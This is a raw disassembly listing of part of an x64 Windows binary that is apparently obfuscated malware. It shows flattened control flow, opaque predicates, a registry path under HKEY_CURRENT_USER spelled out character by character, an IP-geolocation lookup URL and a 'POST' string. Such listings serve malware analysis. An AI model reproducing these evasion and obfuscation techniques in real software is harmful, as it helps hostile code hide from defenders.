and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x67ea4bf3
and ecx, 0x9815b40c
or ecx, edx
xor ecx, 0x9815b40c
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
or al, dl
xor bl, cl
mov ecx, eax
xor cl, bl
mov ecx, 0xd36c3679
mov edx, 0x7deaf083
cmovne ecx, edx
test bl, bl
mov edx, ecx
mov ebx, 0xd36c3679
jmp 0x140024675
cmp eax, 0xfc09a1e5
je 0x140025c3b
cmp eax, 0xfd72e8ab
jne 0x14001ff30
mov eax, 0xbef42e79
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x43c04060
je 0x140025c50
cmp eax, 0x45a28d71
jne 0x14001ff30
mov eax, 0xd55a46c5
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x20dfd876
je 0x140025c90
cmp eax, 0x2190be14
jne 0x14001ff30
mov eax, 0xc7ec9cf9
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x628df01b
je 0x140025ca5
cmp eax, 0x6361aa2b
jne 0x14001ff30
mov rax, qword [rbp + 0x10]
mov rbx, qword [rbp + 0x10]
movaps xmmword [rbx + 0x20], xmm6
movaps xmmword [rbx + 0x10], xmm6
movaps xmmword [rbx], xmm6
mov word [rbx + 0x30], 0
sub rsp, 0x20
mov rcx, rbx
lea rdx, str.https:__ip2c.org_
call fcn.140060c84
mov rcx, rbx
lea rdx, [0x1400871c0]
call fcn.140060c84
add rsp, 0x20
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x30
movups xmmword [rsp + 0x20], xmm6
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call qword [0x140087230]
add rsp, 0x30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xaa0b49fe
and edx, 0x55f4b601
or edx, ecx
mov ebx, edx
xor ebx, 0x55f4b601
xor edx, 0x8202402e
and edx, 0xd692742f
mov ecx, ebx
and ecx, 0x296d8bd0
or ecx, edx
xor ecx, 0x296d8bd1
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0xc12b0eb0
mov edx, 0xa6dd0bd6
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0xc12b0eb0
jmp 0x14002b9c2
cmp eax, 0xac329c5
je 0x140025cf8
cmp eax, 0xad6c0ac
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
sete cl
cmp dword [0x1400820fc], 9
setg dl
xor cl, dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
mov eax, 0x99427f84
mov ebx, 0x75559f91
cmovne eax, ebx
test dl, dl
mov edx, 0x75559f91
jmp 0x140029797
cmp eax, 0x55730999
je 0x140025d13
cmp eax, 0x560b2e17
jne 0x14001ff30
mov eax, 0x10
call fcn.140058490
sub rsp, rax
mov rdx, rsp
mov dword [rdx], 0xfa
sub rsp, 0x20
lea rcx, [0x140086fc0]
call qword [0x140087238]
add rsp, 0x20
mov eax, 0x713eeb54
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x3adf8eb1
je 0x140025e04
cmp eax, 0x3b0cb872
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x7ab4e98f
mov ebx, ecx
and ebx, 0x854b1670
or ebx, edx
xor ebx, 0x854b1671
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9126b0cf
and ecx, 0x6ed94f30
or ecx, edx
xor ecx, 0x6ed94f30
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, ecx
xor dl, al
mov edx, 0x7a9acb79
mov ebx, 0xe050eacd
cmovne edx, ebx
test al, al
mov eax, edx
jmp 0x140029b53
cmp eax, 0x77c6bd87
je 0x140025e7c
cmp eax, 0x77fd9b49
jne 0x14001ff30
mov rax, qword [rbp - 0x18]
sub rsp, 0x20
mov ecx, 2
xor edx, edx
call qword [0x140087228]
add rsp, 0x20
mov eax, 0xa0961639
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x4782f67
je 0x140025e91
cmp eax, 0x4a509e3
jne 0x14001ff30
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and ecx, 0xcbe66a4a
and edx, 0x341995b5
or edx, ecx
mov ebx, edx
xor ebx, 0x341995b5
xor edx, 0x41602248
and edx, 0x7568a7c8
mov ecx, ebx
and ecx, 0x8a975837
or ecx, edx
xor ecx, 0x8a975836
and ebx, 0xfffffffe
or ebx, ecx
cmp ebx, 0xffffffff
setne cl
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
mov edx, eax
and dl, cl
xor al, cl
or al, dl
mov ecx, eax
xor cl, bl
test al, al
mov eax, 0x49bf7201
mov edx, 0xbce30a80
cmovne eax, edx
test bl, bl
cmove eax, edx
test cl, cl
mov ecx, 0x49bf7201
jmp 0x14002b9c2
cmp eax, 0x4acd4098
je 0x140025ea6
cmp eax, 0x4b4e3054
jne 0x14001ff30
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, eax
xor dl, cl
mov edx, 0xc415c598
mov ebx, 0x3c5ed0f6
jmp 0x14002bc19
cmp eax, 0x2bdb3349
je 0x140025ebb
cmp eax, 0x2c138243
jne 0x14001ff30
mov rcx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140081bc8]
add rsp, 0x20
mov eax, 0x62397b8f
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp eax, 0x6d251fb2
je 0x140025ed0
cmp eax, 0x6dbbd133
jne 0x14001ff30
sub rsp, 0x20
mov edx, 0xfa
lea rcx, [0x140087240]
lea r8, [0x14007b1f0]
lea r9, str.unknown_un
call fcn.14002be10
add rsp, 0x20
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x514ce361
and ecx, 0xaeb31c9e
or ecx, edx
xor ecx, 0xaeb31c9f
xor eax, ecx
test eax, ecx
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0xee7b9754
mov ebx, 0xf7172e3c
cmovne eax, ebx
test dl, dl
mov edx, 0xee7b9754
jmp 0x14002ae0a
cmp eax, 0xf33415b
je 0x140025f2a
cmp eax, 0xfb9b39a
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x16678127
and ecx, 0xe9987ed8
or ecx, eax
mov eax, ecx
xor eax, 0xe9987ed8
and eax, 0xfffffffe
xor ecx, 0x16678126
or ecx, eax
mov eax, ecx
not eax
and eax, 0x180edd37
and ecx, 0xe7f122c8
or ecx, eax
xor ecx, 0xe7f122c8
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x283ec0b9
mov ebx, 0xfac2facb
cmovne eax, ebx
test dl, dl
mov edx, 0x283ec0b9
jmp 0x14002ae0a
cmp eax, 0x5b9e4cb8
je 0x140025f90
cmp eax, 0x5d947012
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x2129283d
and ecx, 0xded6d7c2
or ecx, eax
mov eax, ecx
xor eax, 0xded6d7c2
xor ecx, 0x9283c
and ecx, 0xde8fbb7c
mov edx, eax
and edx, 0x21704483
or edx, ecx
xor edx, 0x21704482
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xe16e94b9
and eax, 0x1e916b46
or eax, ecx
xor eax, 0x1e916b46
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x8bc12530
mov ebx, 0x823e3bfd
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x8bc12530
jmp 0x140029b53
cmp eax, 0x40033760
je 0x140025ffd
cmp eax, 0x405e9a4e
jne 0x14001ff30
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0xc0232712
mov ebx, 0xd5da7f79
cmovne ecx, ebx
test dl, dl
mov edx, 0xc0232712
jmp 0x14002bd09
cmp eax, 0x7deaf083
je 0x140026067
cmp eax, 0x7f5af817
jne 0x14001ff30
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xd5e42f3c
and edx, 0x2a1bd0c3
or edx, ebx
xor edx, 0x2a1bd0c2
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
test cl, cl
mov ecx, 0xcee0fa02
mov edx, 0x61ca6bdc
cmovne ecx, edx
test bl, bl
cmove ecx, edx
test al, al
mov eax, 0xcee0fa02
jmp 0x14002b481
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xfffffffe
and edx, 1
or edx, ebx
not edx
or edx, eax
cmp edx, 0xffffffff
setne al
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and dl, cl
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
and cl, al
or cl, dl
mov eax, ecx
xor al, bl
mov edx, 0x286db50f
mov eax, 0xbee7e4a
cmovne edx, eax
test cl, cl
mov eax, 0x286db50f
jmp 0x14002a48f
mov eax, 0xfac2facb
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [rbp - 0x78]
mov dword [rbp + 0x120], eax
mov rax, qword [rbp + 0xe8]
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x101f49e4
and edx, 0xefe0b61b
or edx, ebx
xor edx, 0xefe0b61a
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
mov eax, ecx
xor al, dl
and al, cl
and bl, r8b
and cl, dl
or cl, bl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0x5ed76c04
mov ebx, 0x5a664a8
cmovne ecx, ebx
test al, al
mov eax, 0x5ed76c04
jmp 0x14002b398
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x54c34110
and ecx, 0xab3cbeef
or ecx, eax
mov eax, ecx
xor eax, 0xab3cbeef
xor ecx, 0x44810010
and ecx, 0xefb9b652
mov edx, eax
and edx, 0x104649ad
or edx, ecx
xor edx, 0x104649ac
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x41beca54
mov ebx, 0x33ac5252
cmovne eax, ebx
test cl, cl
mov ecx, 0x41beca54
jmp 0x14002a7a8
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x84facf84
and edx, 0x7b05307b
or edx, ebx
xor edx, 0x84facf85
or edx, eax
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
and al, cl
or cl, dl
and bl, dl
or bl, al
mov eax, ecx
xor al, bl
mov eax, 0x3d7f0d49
mov edx, 0x2c1ec47a
cmovne eax, edx
test bl, bl
mov edx, eax
mov ebx, 0x3d7f0d49
cmovne edx, ebx
test cl, cl
cmovne edx, eax
jmp 0x14002babc
mov eax, 0x1d0d453e
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rax, qword [rbp + 0x18]
mov qword [rbp + 0x100], rax
mov rax, qword [rbp + 0x100]
mov rax, qword [rbp + 0x18]
mov dword [rax], 0
mov rax, qword [rbp + 0x20]
mov qword [rbp + 0x108], rax
mov rax, qword [rbp + 0x108]
mov rbx, qword [rbp + 0x20]
sub rsp, 0x20
mov r8d, 0x1f4
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov r9, qword [rbp + 0x18]
mov rcx, qword [rbp + 0xf0]
sub rsp, 0x20
mov rdx, rbx
mov r8d, 0xfa
call qword [0x140081fc8]
add rsp, 0x20
mov rax, qword [rbp + 0x20]
cmp byte [rax + 1], 0x3b
sete byte [rbp + 0x111]
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x176c9aa5
and ecx, 0xe893655a
or ecx, eax
mov eax, ecx
xor eax, 0xe893655a
and eax, 0xfffffffe
xor ecx, 0x176c9aa4
or ecx, eax
mov eax, ecx
not eax
and eax, 0xddfe3713
and ecx, 0x2201c8ec
or ecx, eax
xor ecx, 0x2201c8ec
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0x814faa
mov ebx, 0x49ef1504
jmp 0x14002b9b6
mov eax, 0x872e8ca
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea ebx, [rax - 1]
imul ebx, eax
mov edx, ebx
not edx
and ebx, 0xd0eaad29
mov eax, edx
and eax, 0x2f1552d6
or eax, ebx
xor eax, 0x2f1552d7
and edx, 0xfffffffe
or edx, eax
cmp edx, 0xffffffff
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0x966daf8b
mov eax, 0xa20cc480
cmovne edx, eax
test cl, cl
mov eax, 0x966daf8b
jmp 0x14002a48f
mov rax, qword [rbp + 0x58]
mov rax, qword [rbp + 0x50]
mov rax, qword [rbp + 0x48]
mov ecx, dword [0x1400820f8]
mov eax, dword [0x1400820fc]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0x576a674d
mov ebx, ecx
and ebx, 0xa89598b2
or ebx, edx
xor ebx, 0xa89598b3
and ecx, 0xfffffffe
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x3df89ebc
and ecx, 0xc2076143
or ecx, edx
xor ecx, 0xc2076143
sete r8b
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
mov ecx, eax
xor cl, dl
and cl, al
and bl, r8b
and al, dl
or al, bl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xc653a01
mov ebx, 0x61a2ed5c
cmovne eax, ebx
test cl, cl
mov ecx, 0xc653a01
jmp 0x14002411f
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x792aaeb3
cmovne eax, r15d
test cl, cl
mov ecx, 0x792aaeb3
cmovne ecx, eax
test dl, dl
jmp 0x14002b481
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
xor eax, ecx
test eax, ecx
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, edx
xor al, cl
mov eax, 0xdde4d52d
mov ebx, 0xfb711351
cmovne eax, ebx
test dl, dl
mov edx, 0xdde4d52d
jmp 0x14002a72b
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0xcb3df6a
and edx, 0xf34c2095
or edx, ebx
xor edx, 0xf34c2094
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, bl
mov edx, 0x5b24a588
mov eax, 0x688d97ed
cmovne edx, eax
test cl, cl
mov eax, 0x5b24a588
jmp 0x14002a48f
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
not ecx
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
test al, al
mov eax, 0x2190be14
mov ebx, 0xc7ec9cf9
cmovne eax, ebx
test dl, dl
mov edx, 0x2190be14
jmp 0x14002a38f
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x7116a83d
and edx, 0x8ee957c2
or edx, ebx
xor edx, 0x8ee957c3
xor eax, edx
test eax, edx
sete r8b
setne dl
cmp ecx, 9
setg al
cmp ecx, 0xa
setl cl
mov ebx, eax
xor al, dl
and dl, cl
and bl, r8b
or bl, dl
or cl, r8b
xor cl, 1
or cl, al
mov edx, ecx
xor dl, bl
test cl, cl
mov eax, 0xdaf7013f
mov ecx, 0x43c04060
cmovne eax, ecx
test bl, bl
cmove eax, ecx
test dl, dl
mov ecx, 0xdaf7013f
jmp 0x14002b9c2
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne r8b
sete dl
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg cl
mov eax, ebx
or bl, dl
and dl, cl
and al, r8b
or al, dl
xor cl, r8b
xor bl, 1
or bl, cl
mov ecx, ebx
xor cl, al
test bl, bl
mov edx, 0x616042fa
mov ebx, 0x213f375
cmovne edx, ebx
test al, al
cmove edx, ebx
test cl, cl
mov eax, 0x616042fa
jmp 0x14002a730
mov eax, 0xdfc0dc08
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov rax, qword [rbp - 0x28]
mov rax, qword [rbp - 0x20]
mov rbx, qword [rbp - 0x20]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x20]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x20]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x20]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x20]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x20]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1c], 0x73
mov rax, qword [rbp - 0x20]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x20]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x20]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x20]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x20]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x20]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x20]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x20]
mov word [rax + 0x14], 0x69
mov word [rbx], 0x53
mov rax, qword [rbp - 0x20]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x20]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x20]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x20]
mov word [rax + 8], 0x57
mov r8, qword [rbp - 0x28]
sub rsp, 0x20
mov rcx, 0xffffffff80000001
mov rdx, rbx
call qword [0x140082100]
add rsp, 0x20
mov eax, 0x6945c778
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
cmp byte [rbp + 0xff], 0
mov eax, 0x80bbcc60
mov ecx, 0xc70d566
jmp 0x14002bb92
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xfffffffe
xor edx, 1
or edx, eax
cmp edx, 0xffffffff
setne al
cmp ecx, 9
setg dl
cmp ecx, 0xa
setl cl
xor cl, al
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, dl
test dl, dl
mov edx, 0x6945c778
mov ebx, 0x25ce2f34
cmovne edx, ebx
test cl, cl
cmovne edx, ebx
test al, al
mov eax, 0x6945c778
jmp 0x14002979c
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xe1ff5bdd
and ecx, 0x1e00a422
or ecx, eax
mov eax, ecx
xor eax, 0x1e00a422
and eax, 0xfffffffe
xor ecx, 0xe1ff5bdc
or ecx, eax
cmp ecx, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
not dl
and dl, cl
mov ecx, edx
xor cl, al
mov ecx, 0xb429fb3
mov ebx, 0x347f0a49
jmp 0x14002b9b6
mov eax, dword [0x1400820f8]
mov ecx, dword [0x1400820fc]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x3d2836ca
and edx, 0xc2d7c935
or edx, ebx
xor edx, 0xc2d7c934
xor eax, edx
test eax, edx
setne al
sete dl
cmp ecx, 9
setg bl
cmp ecx, 0xa
setl cl
xor cl, dl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor al, cl
mov edx, 0x6dbbd133
mov eax, 0xee7b9754
cmovne edx, eax
test bl, bl
mov eax, 0x6dbbd133
jmp 0x14002a32a
mov eax, 0x56c18c97
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
sub rsp, 0x20
call fcn.1400011d0
add rsp, 0x20
mov rax, qword [rbp - 0x40]
mov rax, qword [rbp - 0x40]
mov dword [rax], 0xff
mov rax, qword [rbp - 0x38]
movaps xmmword [rax], xmm6
mov dword [rax + 0x10], 0
mov rax, qword [rbp - 0x30]
mov rbx, qword [rbp - 0x30]
sub rsp, 0x20
mov r8d, 0x5dc
mov rcx, rbx
xor edx, edx
call fcn.140059c80
add rsp, 0x20
mov rax, qword [rbp - 0x30]
mov word [rax + 0x18], 0x72
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1a], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1c], 0x73
mov word [rbx], 0x53
mov rax, qword [rbp - 0x30]
mov word [rax + 0x12], 0x4d
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2c], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0xa], 0x41
mov rax, qword [rbp - 0x30]
mov word [rax + 0xc], 0x52
mov rax, qword [rbp - 0x30]
mov word [rax + 0xe], 0x45
mov rax, qword [rbp - 0x30]
mov word [rax + 0x10], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x24], 0x5c
mov rax, qword [rbp - 0x30]
mov word [rax + 0x26], 0x5a
mov rax, qword [rbp - 0x30]
mov word [rax + 2], 0x4f
mov rax, qword [rbp - 0x30]
mov word [rax + 4], 0x46
mov rax, qword [rbp - 0x30]
mov word [rax + 6], 0x54
mov rax, qword [rbp - 0x30]
mov word [rax + 8], 0x57
mov rax, qword [rbp - 0x30]
mov word [rax + 0x20], 0x66
mov rax, qword [rbp - 0x30]
mov word [rax + 0x22], 0x74
mov rax, qword [rbp - 0x30]
mov word [rax + 0x14], 0x69
mov rax, qword [rbp - 0x30]
mov word [rax + 0x16], 0x63
mov rax, qword [rbp - 0x30]
mov word [rax + 0x1e], 0x6f
mov rax, qword [rbp - 0x30]
mov word [rax + 0x28], 0x65
mov rax, qword [rbp - 0x30]
mov word [rax + 0x2a], 0x72
mov rax, qword [rbp - 0x40]
sub rsp, 0x40
mov qword [rsp + 0x30], rax
lea rax, [0x140081b60]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffff80000001
mov rdx, rbx
lea r8, str.POST
mov r9d, 0xffff
call qword [0x140087438]
add rsp, 0x40
mov eax, 0xc9445304
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x17e43136
and ecx, 0xe81bcec9
or ecx, eax
mov eax, ecx
xor eax, 0xe81bcec9
xor ecx, 0x4642030
and ecx, 0xc6f20b9
mov edx, eax
and edx, 0xf390df46
or edx, ecx
xor edx, 0xf390df47
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
mov edx, 0x4fa78145
mov ebx, 0x688d97ed
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x4fa78145
jmp 0x140029b53
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x8b06770
mov edx, eax
and edx, 0xf74f988f
or edx, ecx
xor edx, 0xf74f988e
and eax, 0xfffffffe
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xa658fda8
and eax, 0x59a70257
or eax, ecx
xor eax, 0x59a70257
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
mov eax, 0xd55a46c5
mov ebx, 0x45a28d71
cmovne eax, ebx
test cl, cl
mov ecx, eax
mov ebx, 0xd55a46c5
jmp 0x140028d6d
mov eax, 0x70f5e9c1
cmp eax, 0xf7172e3b
jle 0x140026080
jmp 0x14001ff3b
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0xfffffffe
xor ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x133a5212
and ecx, 0xecc5aded
or ecx, eax
xor ecx, 0xecc5aded
sete al
cmp dword [0x1400820fc], 0xa
setl cl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test al, al
mov eax, 0xebe5cd7d
mov ebx, 0x3b0cb872
cmovne eax, ebx
test cl, cl
mov ecx, 0xebe5cd7d
jmp 0x14002a816
mov eax, dword [0x1400820f8]
lea ecx, [rax - 1]
imul ecx, eax
mov eax, ecx
not eax
and eax, 0x4938d248
and ecx, 0xb6c72db7
or ecx, eax
mov eax, ecx
xor eax, 0xb6c72db6
and eax, 0xfffffffe
xor ecx, 0x4938d249
or ecx, eax
cmp ecx, 0xffffffff
setne al
cmp dword [0x1400820fc], 9
setg cl
mov edx, ecx
or dl, al
xor cl, al
mov ebx, edx
xor bl, cl
test cl, cl
mov eax, 0xb63d8751
mov edi, 0xdbdf71b9
cmovne eax, edi
test dl, dl
mov ecx, 0xb63d8751
cmovne eax, ecx
